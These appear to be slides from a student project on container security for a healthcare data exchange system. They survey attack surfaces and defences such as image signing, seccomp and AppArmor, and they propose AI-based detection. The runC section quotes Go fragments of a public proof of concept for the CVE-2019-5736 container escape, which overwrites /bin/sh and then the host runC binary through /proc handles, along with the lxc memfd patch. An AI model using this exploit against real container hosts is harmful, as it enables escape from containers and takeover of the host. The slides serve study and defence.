The Container Security in Healthcare Data Exchange System

Bachelor's degree graduation project

Chih-Hsuan Yang

National Sun Yat-sen University
Advisor: Chun-I Fan

July 16, 2021

Outline

Attack

Attacking surfaces

- Escape: runC, kernel exploit
- malicious images
- inner-container app's attack

Defense

The runC and the kernel exploit

The kernel exploit is not considered in this project.
The runC vulnerability will be discussed later.

Images and containers(runtime)

Sign it. (The whole digital signature)
Scan it. (Recursively brute force to scan the file system, just like the anti-virus)

Inner-container protection

- Configuration-based: Just like the Cilium and docker arguments
- Code-based: Seccomp, LSM
- Rule-based: Rules in Apparmor, SELinux...

Well...
Some papers... [1, 2, 3]

I don't want

Make the fourth way: AI-based
Use the CNN, DNN or some AI algorithms.

The runC: CVE-2019-5736

PoC

- Must run in the privileged container.
- Try to overwrite the /sbin/init program, a.k.a the runC program's binary file.
- Busy waiting to overwrite.

Patch

- Create a temporary copy of the calling binary itself when it starts.
- Using the memfd_create() system call and copies itself into the temporary in-memory file.
- Execute this memfd.
- Redirect the write operations from a privileged container to the in-memory binary.
- However, the in-memory binary is sealed, writes to this will also fail.

```go
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
    fmt.Println(err)
    return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
    fmt.Println(err)
    return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
```

```go
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
    // Note, you do not need to use the O_PATH flag for the exploit to work.
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
        handleFd = int(handle.Fd())
    }
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY
    if int(writeHandle.Fd()) > 0 {
        fmt.Println("[+] Successfully got write handle", writeHandle)
        writeHandle.Write([]byte(payload))
        return
    }
}
```

```
117         fd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
118         if (fd < 0)
119                 goto on_error;
120
121         /* sendfile() handles up to 2GB. */
122         bytes_sent = lxc_sendfile_nointr(memfd, fd, NULL, LXC_SENDFILE_MAX);
123         saved_errno = errno;
124         close(fd);
125         errno = saved_errno;
126         if (bytes_sent < 0)
127                 goto on_error;
128
129         if (fcntl(memfd, F_ADD_SEALS, LXC_MEMFD_REXEC_SEALS))
130                 goto on_error;
131
132         fexecve(memfd, argv, envp);
```

Planing

Discuss with senior and Tim Hsu

追一下 clone 的實作和 task structure

❤️ 1

Give me one more week . . .
I know the summer is not so long.

References

[1] Yuqiong Sun et al. "Security Namespace: Making Linux Security Frameworks Available to Containers". In: *27th USENIX Security Symposium (USENIX Security 18)*. Baltimore, MD: USENIX Association, Aug. 2018, pp. 1423–1439. ISBN: 978-1-939133-04-5. URL: https://www.usenix.org/conference/usenixsecurity18/presentation/sun.

[2] Xing Gao et al. "ContainerLeaks: Emerging Security Threats of Information Leakages in Container Clouds". In: *2017 47th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN)* (2017), pp. 237–248.

[3] Sung-Taek Lee Sung-Hwa Han Hoo-Ki Lee. "Container Image Access Control Architecture to Protect Applications". In: *IEEE Access* 8.19980335 (2020).